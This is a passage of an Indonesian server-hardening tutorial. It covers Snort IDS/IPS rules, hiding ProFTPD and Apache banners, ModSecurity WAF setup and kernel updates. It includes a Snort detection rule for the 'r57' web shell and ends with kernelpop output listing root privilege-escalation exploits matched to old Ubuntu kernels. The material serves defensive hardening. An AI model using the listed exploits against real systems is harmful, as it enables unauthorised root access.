#include $RULE_PATH/community-web-dos.
#include $RULE_PATH/community-web-iis.
#include $RULE_PATH/community-web-misc
#include $RULE_PATH/community-web-php.
include $RULE_PATH/myrules.rules

##################################
# Step #8: Customize your preprocessor
```

include $RULE_PATH/myrules.rules

Ctrl + x lalu pilih y untuk menyimpan

```
root@ubuntufresh:/etc/snort# nano /etc/snort/rules/myrules
```

Masukk cd /etc/snort/rules

nano myrules.rules

```
root@ubuntufresh: /etc/snort
  GNU nano 2.2.6          File: /etc/snort/rules/myrules                Modified

alert icmp any any -> any any (msg:"Ada ping masuk";sid:10000001;rev:0;)
alert tcp any any -> any 21 (msg:"Ada akses FTP Server masuk";sid:10000002;rev:$
alert tcp any any -> any 80 (msg:"Ada script bahaya"; content:"r57"; nocase; si$
```

alert icmp any any -> any any (msg:"Ada ping masuk";sid:10000001;rev:0;)

alert tcp any any -> any 21 (msg:"Ada akses FTP Server masuk";sid:10000002;rev:1;)

alert tcp any any -> any 80 (msg:"Ada script bahaya"; content:"r57"; nocase; sid:10000003;)

Ctrl + x lalu pilih y untuk menyimpan

```
root@ubuntufresh:/etc/snort# nano /etc/snort/rules/myrules
root@ubuntufresh:/etc/snort# cd /etc/init.d
root@ubuntufresh:/etc/init.d# ./snort start
 * Starting Network Intrusion Detection System  snort                    [ OK ]
root@ubuntufresh:/etc/init.d#
```

cd /etc/init.d

./snort start

```
[**] [1:10000002:1] Ada akses FTP Server masuk [**]
[Priority: 0]
09/23-17:22:08.432752 192.168.1.9:51935 -> 192.168.1.101:21
TCP TTL:128 TOS:0x0 ID:19682 IpLen:20 DgmLen:40 DF
***A**** Seq: 0xA85AE416  Ack: 0x51723EE0  Win: 0x2000  TcpLen: 20

[**] [1:10000002:1] Ada akses FTP Server masuk [**]
[Priority: 0]
09/23-17:22:08.544359 192.168.1.9:51935 -> 192.168.1.101:21
TCP TTL:128 TOS:0x0 ID:19685 IpLen:20 DgmLen:40 DF
***A**** Seq: 0xA85AE416  Ack: 0x51723F1B  Win: 0x1FC5  TcpLen: 20

[**] [1:10000002:1] Ada akses FTP Server masuk [**]
[Priority: 0]
09/23-17:22:10.404749 192.168.1.9:51935 -> 192.168.1.101:21
TCP TTL:128 TOS:0x0 ID:19699 IpLen:20 DgmLen:40 DF
***A*R** Seq: 0xA85AE416  Ack: 0x51723F1B  Win: 0x0  TcpLen: 20
```

cd /var/log/snort

tail -f ./alert

Intrusion Prevention System (IPS)

Intrusion Prevention System (IPS) adalah aplikasi yang bekerja untuk monitoring traffic jaringan, mendeteksi aktivitas yang mencurigakan, dan melakukan langkah-langkah pencegahan terhadap kejadian yang dapat membuat jaringan menjadi berjalan tidak seperti sebagaimana mestinya, sebuah pengembangan dari sistem IDS sebelumnya yang menyediakan fungsi selain melakukan pendeteksian terhadap aktifitas yang tidak normal

Untuk membangunnya maka harus menggunakan 2 interface, di sini yang digunakan eth0 dan eth1, tidak bisa jalan jika hanya 1 interface

```
[sudo] password for data:
root@ubuntufresh:/home/data# sudo apt-get install libdnet libdaq0 libdaq-dev lib
dnet-dev libnfnetlink0 libnfnetlink-dev
Reading package lists... Done
Building dependency tree
Reading state information... Done
libnfnetlink0 is already the newest version.
libdaq0 is already the newest version.
libdaq0 set to manually installed.
The following extra packages will be installed:
  pkg-config
Suggested packages:
  dnet-common
The following NEW packages will be installed:
  libdaq-dev libdnet libdnet-dev libnfnetlink-dev pkg-config
0 upgraded, 5 newly installed, 0 to remove and 128 not upgraded.
Need to get 578 kB of archives.
After this operation, 1,468 kB of additional disk space will be used.
Do you want to continue [Y/n]? y
Get:1 http://old-releases.ubuntu.com/ubuntu/ raring/main pkg-config i386 0.26-1u
buntu3 [40.4 kB]
Get:2 http://old-releases.ubuntu.com/ubuntu/ raring/main libnfnetlink-dev i386 1
```

sudo apt-get install libdnet libdaq0 libdaq-dev libdnet-dev libnfnetlink0 libnfnetlink-dev

snort --daq-list
Available DAQ modules:
pcap(v3): readback live multi unpriv
ipfw(v2): live inline multi unpriv
dump(v1): readback live inline multi unpriv
afpacket(v4): live inline multi unpriv

cd /etc/snort

Tetap menggunakan konfigurasi snort.conf dari IDS sebelumnya

nano /etc/snort/rules/myrules.rules
Masukkan :
drop tcp any any -> any 23 (msg: "Drop telnet"; sid: 1;)
Simpan

sudo /etc/init.d/snort stop
sudo su
cd /etc/snort

snort -Q --daq afpacket -i eth0:eth1 -c snort.conf &

```
eam
           Copyright (C) 1998-2012 Sourcefire, Inc., et al.
           Using libpcap version 1.3.0
           Using PCRE version: 8.31 2012-07-06
           Using ZLIB version: 1.2.7

           Rules Engine: SF_SNORT_DETECTION_ENGINE  Version 1.15  <Build 18>
           Preprocessor Object: SF_GTP (IPV6)  Version 1.1  <Build 1>
           Preprocessor Object: SF_FTPTELNET (IPV6)  Version 1.2  <Build 13>
           Preprocessor Object: SF_DNP3 (IPV6)  Version 1.1  <Build 1>
           Preprocessor Object: SF_DCERPC2 (IPV6)  Version 1.0  <Build 3>
           Preprocessor Object: SF_SIP (IPV6)  Version 1.1  <Build 1>
           Preprocessor Object: SF_SMTP (IPV6)  Version 1.1  <Build 9>
           Preprocessor Object: SF_SSLPP (IPV6)  Version 1.1  <Build 4>
           Preprocessor Object: SF_MODBUS (IPV6)  Version 1.1  <Build 1>
           Preprocessor Object: SF_SDF (IPV6)  Version 1.1  <Build 1>
           Preprocessor Object: SF_POP (IPV6)  Version 1.0  <Build 1>
           Preprocessor Object: SF_SSH (IPV6)  Version 1.1  <Build 3>
           Preprocessor Object: SF_DNS (IPV6)  Version 1.1  <Build 4>
           Preprocessor Object: SF_IMAP (IPV6)  Version 1.0  <Build 1>
           Preprocessor Object: SF_REPUTATION (IPV6)  Version 1.1  <Build 1>
Commencing packet processing (pid=1984)
Decoding Ethernet
```

IPS aktif

```
TCP TTL:128 TOS:0x0 ID:30187 IpLen:20 DgmLen:40 DF
***A**** Seq: 0xFAD435AB  Ack: 0x628C2FC8  Win: 0x100  TcpLen: 20

[**] [1:1:0] Drop telnet [**]
[Priority: 0]
11/18-10:29:49.109732 192.168.1.9:54532 -> 192.168.1.102:23
TCP TTL:128 TOS:0x0 ID:30188 IpLen:20 DgmLen:40 DF
*****R** Seq: 0xFAD435AB  Ack: 0xFAD435AB  Win: 0x0  TcpLen: 20

[**] [1:1:0] Drop telnet [**]
[Priority: 0]
11/18-10:30:37.598468 192.168.1.9:54541 -> 192.168.1.102:23
TCP TTL:128 TOS:0x0 ID:30734 IpLen:20 DgmLen:52 DF
******S* Seq: 0xEB1B8449  Ack: 0x0  Win: 0x2000  TcpLen: 32
TCP Options (6) => MSS: 1460 NOP WS: 8 NOP NOP SackOK

[**] [1:1:0] Drop telnet [**]
[Priority: 0]
11/18-10:30:37.598941 192.168.1.9:54541 -> 192.168.1.102:23
TCP TTL:128 TOS:0x0 ID:30735 IpLen:20 DgmLen:40 DF
***A**** Seq: 0xEB1B844A  Ack: 0x248E8349  Win: 0x100  TcpLen: 20

[**] [1:1:0] Drop telnet [**]
[Priority: 0]
11/18-10:30:37.637901 192.168.1.9:54541 -> 192.168.1.102:23
TCP TTL:128 TOS:0x0 ID:30736 IpLen:20 DgmLen:40 DF
*****R** Seq: 0xEB1B844A  Ack: 0xEB1B844A  Win: 0x0  TcpLen: 20
```

Saat client akses telnet maka Snort melakukan drop

Contoh lain

nano /etc/snort/rules/myrules.rules

Masukkan seperti di bawah ini

```
  GNU nano 2.2.6                                        File: myrules.rules

drop TCP any any -> any 21 (msg: "ada yang fuzzing"; flags: AP; content: "aaaaa"; sid:1;)
```

drop TCP any any -> any 21 (msg: "ada yang fuzzing"; flags: AP; content: "aaaaa"; sid:1;)

Simpan filenya

Diuji dulu awalnya, sebelum dijalankan snort -Q --daq afpacket -i eth0:eth1 -c snort.conf &

```
C:\Windows>ftp 192.168.1.104
Connected to 192.168.1.104.
220 ProFTPD 1.3.4a Server (Debian) [::ffff:192.168.1.104]
User (192.168.1.104:(none)): aaaaa
331 Password required for aaaaa
Password:
530 Login incorrect.
Login failed.
ftp> quit
221 Goodbye.

C:\Windows>ftp 192.168.1.104
Connected to 192.168.1.104.
220 ProFTPD 1.3.4a Server (Debian) [::ffff:192.168.1.104]
User (192.168.1.104:(none)): aaaaa
Connection closed by remote host.

C:\Windows>
```

Saat dimasukkan username nya adalah aaaaa maka muncul pesan Connection Closed by remote host

```
C:\Windows>ftp 192.168.1.104
Connected to 192.168.1.104.
220 ProFTPD 1.3.4a Server (Debian) [::ffff:192.168.1.104]
User (192.168.1.104:(none)): aaaaaa
Connection closed by remote host.

C:\Windows>ftp 192.168.1.104
Connected to 192.168.1.104.
220 ProFTPD 1.3.4a Server (Debian) [::ffff:192.168.1.104]
User (192.168.1.104:(none)): bbbbb
331 Password required for bbbbb
Password:
```

Jika diisi username bbbbb, tidak muncul pesan Connection closed by remote host

5.14 Meminimasirkan eksploitasi penyerang dengan menyembunyikan banner

```
root@dhcppc4:/# nmap -A 192.168.1.102

Starting Nmap 6.25 ( http://nmap.org ) at 2016-09-24 21:10 EDT
Nmap scan report for 192.168.1.102
Host is up (0.00084s latency).
Not shown: 993 closed ports
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         ProFTPD 1.3.4a
22/tcp  open  ssh         OpenSSH 6.1p1 Debian 4 (protocol 2.0)
| ssh-hostkey: 1024 50:c5:a5:44:df:1c:da:b0:c7:fc:85:70:a2:51:b5:07 (DSA)
| 2048 2e:80:d6:df:23:29:65:98:67:b7:21:d2:f5:1a:4c:7f (RSA)
|_256 14:b0:c2:36:cd:ab:72:02:6e:cf:2c:44:c3:87:54:7b (ECDSA)
53/tcp  open  domain      ISC BIND 9.9.2-P1
| dns-nsid:
|_  bind.version: 9.9.2-P1
80/tcp  open  http        Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
139/tcp open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
443/tcp open  ssl/http    Apache httpd 2.2.22 ((Ubuntu))
|_http-methods: No Allow or Public header in OPTIONS response (status code
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=data/organizationName=data/stateOrProvince
ew york/countryName=US
| Not valid before: 2016-09-24T22:54:57+00:00
|_Not valid after:  2017-09-24T22:54:57+00:00
|_ssl-date: 2016-09-25T01:11:06+00:00; -1s from local time.
445/tcp open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
MAC Address: 08:00:27:1D:82:E3 (Cadmus Computer Systems)
Device type: general purpose
```

Nmap pada target didapatkan banner pada FTP Server ProFTPD

```
root@ubuntufresh:/# cd /etc/proftpd
root@ubuntufresh:/etc/proftpd# ls
blacklist.dat  dhparams.pem  modules.conf  sql.conf  virtuals.conf
conf.d         ldap.conf     proftpd.conf  tls.conf
root@ubuntufresh:/etc/proftpd# nano proftpd.conf
```

```
  GNU nano 2.2.6              File: proftpd.

#
# </Anonymous>

# Include other custom configuration files
Include /etc/proftpd/conf.d/

ServerIdent on "FTP Server aja"
```

Tambahkan ServerIdent on “FTP Server aja”

```
root@ubuntufresh:/etc/proftpd# service proftpd restart
 * Stopping ftp server proftpd                                          [ OK ]
 * Starting ftp server proftpd
ubuntufresh proftpd[2932]: mod_tls_memcache/0.1: notice: unable to register 'mem
cache' SSL session cache: Memcache support not enabled
                                                                         [ OK ]
root@ubuntufresh:/etc/proftpd#
```

Service proftpd restart

```
Starting Nmap 6.25 ( http://nmap.org ) at 2016-09-24 21:27 EDT
Nmap scan report for 192.168.1.102
Host is up (0.0032s latency).
Not shown: 993 closed ports
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         ProFTPD
22/tcp  open  ssh         OpenSSH 6.1p1 Debian 4 (protocol 2.0)
| ssh-hostkey: 1024 50:c5:a5:44:df:1c:da:b0:c7:fc:85:70:a2:51:b5:07 (DSA)
| 2048 2e:80:d6:df:23:29:65:98:67:b7:21:d2:f5:1a:4c:7f (RSA)
|_256 14:b0:c2:36:cd:ab:72:02:6e:cf:2c:44:c3:87:54:7b (ECDSA)
53/tcp  open  domain      ISC BIND 9.9.2-P1
| dns-nsid:
|_  bind.version: 9.9.2-P1
80/tcp  open  http        Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
139/tcp open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
443/tcp open  ssl/http    Apache httpd 2.2.22 ((Ubuntu))
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Site doesn't have a title (text/html).
```

Versi proftpd tidak terlihat saat dilakukan NMAP

```
root@dhcppc4:/# ftp 192.168.1.102
Connected to 192.168.1.102.
220 FTP Server aja
Name (192.168.1.102:root):
```

Saat melakukan koneksi FTP Server muncul seperti di atas

```
  GNU nano 2.2.6              File: proftpd.conf

#
# </Anonymous>

# Include other custom configuration files
Include /etc/proftpd/conf.d/

ServerIdent Off
```

Jika ServerIdent off pada proftpd.conf maka banner tidak muncul

```
root@dhcppc4:/# ftp 192.168.1.102
Connected to 192.168.1.102.
220 ::ffff:192.168.1.102 FTP server ready
Name (192.168.1.102:root):
```

Hasil dari ServerIdent off pada proftpd.conf

```
root@ubuntufresh:/# cd /etc/apache2
root@ubuntufresh:/etc/apache2# ls
apache2.conf  envvars  mods-available  ports.conf       sites-enabled
conf.d        magic    mods-enabled    sites-available  ssl
root@ubuntufresh:/etc/apache2# nano apache2.conf
```

Untuk apache ada di /etc/apache/apache2.conf

```
root@ubuntufresh: /
  GNU nano 2.2.6          File: /etc/apache2/apache2.conf          Modified

# Include of directories ignores editors' and dpkg's backup files,
# see the comments above for details.

# Include generic snippets of statements
Include conf.d/

# Include the virtual host configurations:
Include sites-enabled/

ServerTokens Prod
ServerSignature Off
```

Tambahkan :

ServerTokens Prod

ServerSignature Off

```
root@ubuntufresh:/# service apache2 restart
 * Restarting web server apache2
apache2: Could not reliably determine the server's fully qualified domain name,
using 127.0.1.1 for ServerName
 ... waiting apache2: Could not reliably determine the server's fully qualified
domain name, using 127.0.1.1 for ServerName
                                                                        [ OK ]
root@ubuntufresh:/#
```

service apache2 restart

```
root@dhcppc4:/# nmap -A 192.168.1.102

Starting Nmap 6.25 ( http://nmap.org ) at 2016-09-24 21:51 EDT
Nmap scan report for 192.168.1.102
Host is up (0.0017s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD
22/tcp   open  ssh         OpenSSH 6.1p1 Debian 4 (protocol 2.0)
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
53/tcp   open  domain      ISC BIND 9.9.2-P1
| dns-nsid:
|_  bind.version: 9.9.2-P1
80/tcp   open  http?
|_http-title: Site doesn't have a title (text/html).
139/tcp open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
443/tcp open  ssl/https?
|_http-methods: No Allow or Public header in OPTIONS response (st
|_http-title: Site doesn't have a title (text/html).
```

Hasilnya banner apache dan versinya tidak terlihat

45.15 Instalasi WAF

A web application firewall (WAF) is an appliance, server plugin, or filter that applies a set of rules to an HTTP conversation. Generally, these rules cover common attacks such as cross-site scripting (XSS) and SQL injection.

Sumber : https://www.owasp.org/index.php/Web_Application_Firewall

```
root@ubuntufresh:/var/www# apt-get install libapache2-modsecurity
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
  liblua5.1-0 modsecurity-crs
Suggested packages:
  lua
The following NEW packages will be installed:
  libapache2-modsecurity liblua5.1-0 modsecurity-crs
0 upgraded, 3 newly installed, 0 to remove and 128 not upgraded.
Need to get 634 kB of archives.
After this operation, 2,175 kB of additional disk space will be used.
Do you want to continue [Y/n]? y
```

Instalasi libapache2-modsecurity

apt-get install libapache2-modsecurity

```
Fetched 634 kB in 5s (108 kB/s)
Selecting previously unselected package liblua5.1-0:i386.
(Reading database ... 58906 files and directories currently installed.)
Unpacking liblua5.1-0:i386 (from .../liblua5.1-0_5.1.5-4_i386.deb) ...
Selecting previously unselected package libapache2-modsecurity.
Unpacking libapache2-modsecurity (from .../libapache2-modsecurity_2.6.6-6_i386.
eb) ...
Selecting previously unselected package modsecurity-crs.
Unpacking modsecurity-crs (from .../modsecurity-crs_2.2.5-2_all.deb) ...
Setting up liblua5.1-0:i386 (5.1.5-4) ...
Setting up libapache2-modsecurity (2.6.6-6) ...
 * Restarting web server apache2
apache2: Could not reliably determine the server's fully qualified domain name,
using 127.0.1.1 for ServerName
 ... waiting apache2: Could not reliably determine the server's fully qualified
domain name, using 127.0.1.1 for ServerName
                                                                        [ OK ]
Setting up modsecurity-crs (2.2.5-2) ...
Processing triggers for libc-bin ...
ldconfig deferred processing now taking place
root@ubuntufresh:/var/www#
```

```
root@ubuntufresh:/var/www# apachectl -M | grep --color security
apache2: Could not reliably determine the server's fully qualified domain name,
using 127.0.1.1 for ServerName
 security2_module (shared)
Syntax OK
root@ubuntufresh:/var/www# mv /etc/modsecurity/modsecurity.conf{-recommended,}
root@ubuntufresh:/var/www# service apache2 reload
 * Reloading web server config
apache2: Could not reliably determine the server's fully qualified domain name,
using 127.0.1.1 for ServerName
                                                                        [ OK ]
root@ubuntufresh:/var/www# ls -l /var/log/apache2/modsec_audit.log
-rw-r----- 1 root root 0 Sep 25 10:07 /var/log/apache2/modsec_audit.log
root@ubuntufresh:/var/www#
```

apachectl -M | grep --color security
mv /etc/modsecurity/modsecurity.conf{-recommended,}
service apache2 reload
ls -l /var/log/apache2/modsec_audit.log

Configuring mod_security
nano /etc/modsecurity/modsecurity.conf

```
  GNU nano 2.2.6       File: /etc/modsecurity/modsecurity.

# -- Rule engine initialization ------------------------

# Enable ModSecurity, attaching it to every transaction.
# only to start with, because that minimises the chances
# disruption.
#
SecRuleEngine DetectionOnly
```

Yang sebelumnya

```
# -- Request body handling -----------------------------

# Allow ModSecurity to access request bodies. If you don'
# won't be able to see any POST parameters, which opens a
# hole for attackers to exploit.
#
SecRequestBodyAccess On
```

```
  GNU nano 2.2.6       File: /etc/modsecurity/modsecurity.conf

# -- Rule engine initialization ------------------------------

# Enable ModSecurity, attaching it to every transaction. Use dete
# only to start with, because that minimises the chances of post-
# disruption.
#
SecRuleEngine On
```

Setelah diganti

```
# -- Request body handling -----------------------------------

# Allow ModSecurity to access request bodies. If you don't, ModSe
# won't be able to see any POST parameters, which opens a large s
# hole for attackers to exploit.
#
SecRequestBodyAccess On
```

SecRuleEngine dari DetectionOnly diganti dengan On

```
  GNU nano 2.2.6       File: /etc/modsecurity/modsecurity.conf

# -- Response body handling ---------------------------------

# Allow ModSecurity to access response bodies.
# You should have this directive enabled in order to identify
# and data leakage issues.
#
# Do keep in mind that enabling this directive does increases
# memory consumption and response latency.
#
SecResponseBodyAccess On

# Which response MIME types do you want to inspect? You shoul
# configuration below to catch documents but avoid static fil
# (e.g., images and archives).
#
SecResponseBodyMimeType text/plain text/html text/xml

# Buffer response bodies of up to 512 KB in length.
SecResponseBodyLimit 524288
```

Yang sebelumnya

```
  GNU nano 2.2.6       File: /etc/modsecurity/modsecurity.conf

# -- Response body handling ---------------------------------

# Allow ModSecurity to access response bodies.
# You should have this directive enabled in order to identify err
# and data leakage issues.
#
# Do keep in mind that enabling this directive does increases bot
# memory consumption and response latency.
#
SecResponseBodyAccess Off

# Which response MIME types do you want to inspect? You should ac
# configuration below to catch documents but avoid static files
# (e.g., images and archives).
#
SecResponseBodyMimeType text/plain text/html text/xml

# Buffer response bodies of up to 512 KB in length.
```

Setelah diganti

SecResponseBodyAccess On diganti dengan Off

```
root@ubuntufresh:/var/www# ls -l /usr/share/doc/modsecurity-crs/
total 24
-rw-r--r-- 1 root root  469 Jul  2  2012 changelog.Debian.gz
-rw-r--r-- 1 root root 1297 Jul  2  2012 copyright
drwxr-xr-x 3 root root 4096 Sep 25 10:06 examples
-rw-r--r-- 1 root root 1138 Mar 16  2012 README.Debian
-rw-r--r-- 1 root root 6495 Mar  1  2012 README.gz
root@ubuntufresh:/var/www#
root@ubuntufresh:/var/www#
root@ubuntufresh:/var/www# ls -l /usr/share/modsecurity-crs/
total 40
drwxr-xr-x 2 root root  4096 Sep 25 10:06 activated_rules
drwxr-xr-x 2 root root  4096 Sep 25 10:06 base_rules
drwxr-xr-x 2 root root  4096 Sep 25 10:06 experimental_rules
drwxr-xr-x 2 root root  4096 Sep 25 10:06 lua
-rw-r--r-- 1 root root 13544 Jul  3  2012 modsecurity_crs_10_setup.conf
drwxr-xr-x 2 root root  4096 Sep 25 10:06 optional_rules
drwxr-xr-x 3 root root  4096 Sep 25 10:06 util
```

```
drwxr-xr-x 2 root root  4096 Sep 25 10:06 base_rules
drwxr-xr-x 2 root root  4096 Sep 25 10:06 experimental_rules
drwxr-xr-x 2 root root  4096 Sep 25 10:06 lua
-rw-r--r-- 1 root root 13544 Jul  3  2012 modsecurity_crs_10_setup.conf
drwxr-xr-x 2 root root  4096 Sep 25 10:06 optional_rules
drwxr-xr-x 3 root root  4096 Sep 25 10:06 util
root@ubuntufresh:/var/www# nano /etc/apache2/mods-enabled/modsecurity.conf
```

ls -l /usr/share/modsecurity-crs/

ls -l /usr/share/doc/modsecurity-crs/

nano /etc/apache2/mods-enabled/modsecurity.conf

include "/usr/share/modsecurity-crs/*.conf"

include "/usr/share/modsecurity-crs/activated_rules/*.conf"

Simpan

cd /usr/share/modsecurity-crs/activated_rules/

ln -s /usr/share/modsecurity-crs/base_rules/modsecurity_crs_41_xss_attacks.conf .

service apache2 reload

Untuk pengamanan dari serangan umum seperti XSS, SQL Injection dan sebagainya yang standard

ln -s /usr/share/modsecurity-crs/base_rules/modsecurity_crs_40_generic_attacks.conf .

Untuk pengamanan pada SQL Injection dengan keamanan maksimal

ln -s /usr/share/modsecurity-crs/base_rules/modsecurity_crs_41_sql_injection_attacks.conf .

45.16 Update Kernel

Kernel merupakan program komputer yang mengatur permintaan akan input/output dari perangkat lunak, dan menerjemahkannya ke dalam instruksi-instruksi pada CPU, ataupun komponen elektronik lainnya dalam sebuah komputer. Kernel merupakan bagian yang sangat mendasar pada sistem operasi komputer masa kini.

uname -a

dpkg -i linux *.deb

```
File  Edit  View  Search  Terminal  Help
eric-pae /boot/vmlinuz-3.3.1-030301-generic-pae
run-parts: executing /etc/kernel/postinst.d/pm-utils 3.3.1-030301-gene
pae /boot/vmlinuz-3.3.1-030301-generic-pae
run-parts: executing /etc/kernel/postinst.d/update-notifier 3.3.1-0303
eneric-pae /boot/vmlinuz-3.3.1-030301-generic-pae
run-parts: executing /etc/kernel/postinst.d/zz-update-grub 3.3.1-03030
neric-pae /boot/vmlinuz-3.3.1-030301-generic-pae
Generating grub.cfg ...
Found linux image: /boot/vmlinuz-3.3.1-030301-generic-pae
Found initrd image: /boot/initrd.img-3.3.1-030301-generic-pae
Found linux image: /boot/vmlinuz-2.6.35-22-generic
Found initrd image: /boot/initrd.img-2.6.35-22-generic
Found memtest86+ image: /boot/memtest86+.bin
done
root@pcubuntu-VirtualBox:/home/pcubuntu# reboot
```

Di sini sudah terdapat file untuk diinstall agar kernel ter update

http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.3.1-precise/linux-headers-3.3.1-030301-generic-pae_3.3.1-030301.201204021435_i386.deb

http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.3.1-precise/linux-headers-3.3.1-030301_3.3.1-030301.201204021435_all.deb

http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.3.1-precise/linux-image-3.3.1-030301-generic-pae_3.3.1-030301.201204021435_i386.deb

Untuk kernel lain : http://kernel.ubuntu.com/~kernel-ppa/mainline/

Jika ingin tahu celah-celah pada Kernel
Download : https://github.com/spencerdodd/kernelpop

Contoh di Ubuntu 13.04

```
root@ubuntufresh:/home/kernelpop# ls
constants.py  exploits  img  kernelpop.py  playground  README.md  src  test
root@ubuntufresh:/home/kernelpop# python3 kernelpop.py

##########################
#  welcome to kernelpop  #
#                        #
# let's pop some kernels #
##########################

[+] underlying os identified as a linux variant
[+] kernel Linux-3.8.0-19-generic-i686-with-Ubuntu-13.04-raring identified as:
        type:                   linux
        distro:                 linuxubuntu13
        version:                3.8-0
        architecture:           i686
[*] matching kernel to known exploits
        [+] found `confirmed` kernel exploit: CVE20177308
        [+] found `confirmed` kernel exploit: CVE20162384
        [+] found `potential` kernel exploit: CVE20171000367
        [+] found `confirmed` kernel exploit: CVE20140038
        [+] found `confirmed` kernel exploit: CVE20144014
        [+] found `confirmed` kernel exploit: CVE20144699
        [+] found `confirmed` kernel exploit: CVE20176074
        [+] found `confirmed` kernel exploit: CVE20165195_32
        [+] found `confirmed` kernel exploit: CVE20165195_32_poke
        [+] found `confirmed` kernel exploit: CVE20140196
        [+] found `confirmed` kernel exploit: CVE20132094_32
        [+] found `confirmed` kernel exploit: CVE20143153
[*] matched kernel to the following confirmed exploits
```

```
Nue          [+] found `confirmed` kernel exploit: CVE20176074
ce           [+] found `confirmed` kernel exploit: CVE20165195_32
roo          [+] found `confirmed` kernel exploit: CVE20165195_32_poke
roo          [+] found `confirmed` kernel exploit: CVE20140196
cor          [+] found `confirmed` kernel exploit: CVE20132094_32
roo          [+] found `confirmed` kernel exploit: CVE20143153
   [*] matched kernel to the following confirmed exploits
###          [[ high reliability ]]
#                   CVE20177308     `packet_set_ring` in net/packet/af_packet.c can
#  gain privileges via crafted system calls.
# ]                 CVE20144014     `chmod` restriction bypass allows users to get r
###oot before 3.14.8
                    CVE20165195_32  Dirty COW race condition root priv esc for 32 bi
[+]t
[+]                 CVE20165195_32_poke     Dirty COW race condition root priv esc f
   or 32 bit (poke variant)
                    CVE20143153     `futex_requeue` vulnerability before 3.14.6 allo
   ws for priv esc
          [[ medium reliability ]]
[*]                 CVE20140038     recvmmsg syscall issues in x86_32 can lead to ro
   ot (timeoutpwn)
                    CVE20144699     Exploitable race condition in linux before 3.15.
   4
                    CVE20132094_32  perf_swevent_init Local root exploit (32 bit)
          [[ low reliability ]]
                    CVE20162384     Double free vulnerability in the `snd_usbmidi_cr
   eate` (requires physical proximity)
                    CVE20176074     `dccp_rcv_state_process` in net/dccp/input.c mis
   handles structs and can lead to local root
                    CVE20140196     `n_tty_write` vuln before 3.14.4 allows priv esc
    to root
   [*] matched kernel to the following potential exploits:
[*]          [[ high reliability ]]
                    CVE20171000367  sudo get_process_ttyname() root priv esc
   root@ubuntufresh:/home/kernelpop#
```

Ketik python3 kernelpop.py setelah berada dalam folder kernelpop
Hasilnya seperti di atas

Contoh di Ubuntu 14.04

```
root@ubuntu:/home/kernelpop# python3 kernelpop.py

##########################
#  welcome to kernelpop  #
#                        #
# let's pop some kernels #
##########################

[+] underlying os identified as a linux variant
[+] kernel Linux-3.13.0-24-generic-i686-with-Ubuntu-14.04-trusty identified as:
        type:                   linux
        distro:                 linuxubuntu14
        version:                3.13-0
        architecture:           i686
[*] matching kernel to known exploits
        [+] found `confirmed` kernel exploit: CVE20165195_32_poke
        [+] found `confirmed` kernel exploit: CVE20177308
        [+] found `confirmed` kernel exploit: CVE20151328_32
        [+] found `confirmed` kernel exploit: CVE20176074
        [+] found `potential` kernel exploit: CVE20171000367
        [+] found `confirmed` kernel exploit: CVE20140196
        [+] found `confirmed` kernel exploit: CVE20143153
        [+] found `confirmed` kernel exploit: CVE20162384
        [+] found `confirmed` kernel exploit: CVE20144014
        [+] found `confirmed` kernel exploit: CVE20171000370
        [+] found `confirmed` kernel exploit: CVE20165195_32
        [+] found `confirmed` kernel exploit: CVE20171000371
        [+] found `confirmed` kernel exploit: CVE20144699
        [+] found `confirmed` kernel exploit: CVE20140038
[*] matched kernel to the following confirmed exploits
        [[ high reliability ]]
                CVE20165195_32_poke     Dirty COW race condition root priv esc f
or 32 bit (poke variant)
                CVE20177308     `packet_set_ring` in net/packet/af_packet.c can
gain privileges via crafted system calls.
                CVE20151328_32  overlayfs implementation in linux kernel does no
t properly check file-create permissions
                CVE20143153     `futex_requeue` vulnerability before 3.14.6 allo
ws for priv esc
                CVE20144014     `chmod` restriction bypass allows users to get r
oot before 3.14.8
                CVE20171000370  Stack clash vulnerability from qualys
```

```
        [+] found `confirmed` kernel exploit: CVE20176074
        [+] found `potential` kernel exploit: CVE20171000367
        [+] found `confirmed` kernel exploit: CVE20140196
        [+] found `confirmed` kernel exploit: CVE20143153
        [+] found `confirmed` kernel exploit: CVE20162384
        [+] found `confirmed` kernel exploit: CVE20144014
        [+] found `confirmed` kernel exploit: CVE20171000370
        [+] found `confirmed` kernel exploit: CVE20165195_32
        [+] found `confirmed` kernel exploit: CVE20171000371
        [+] found `confirmed` kernel exploit: CVE20144699
        [+] found `confirmed` kernel exploit: CVE20140038
[*] matched kernel to the following confirmed exploits
        [[ high reliability ]]
                CVE20165195_32_poke     Dirty COW race condition root priv esc f
or 32 bit (poke variant)
                CVE20177308     `packet_set_ring` in net/packet/af_packet.c can
gain privileges via crafted system calls.
                CVE20151328_32  overlayfs implementation in linux kernel does no
t properly check file-create permissions
                CVE20143153     `futex_requeue` vulnerability before 3.14.6 allo
ws for priv esc
                CVE20144014     `chmod` restriction bypass allows users to get r
oot before 3.14.8
                CVE20171000370  Stack clash vulnerability from qualys
                CVE20165195_32  Dirty COW race condition root priv esc for 32 bi
t
                CVE20171000371  stack clash vulnerability in `offset2lib `
        [[ medium reliability ]]
                CVE20144699     Exploitable race condition in linux before 3.15.
4
                CVE20140038     recvmmsg syscall issues in x86_32 can lead to ro
ot (timeoutpwn)
        [[ low reliability ]]
                CVE20176074     `dccp_rcv_state_process` in net/dccp/input.c mis
handles structs and can lead to local root
                CVE20140196     `n_tty_write` vuln before 3.14.4 allows priv esc
 to root
                CVE20162384     Double free vulnerability in the `snd_usbmidi_cr
eate` (requires physical proximity)
[*] matched kernel to the following potential exploits:
        [[ high reliability ]]
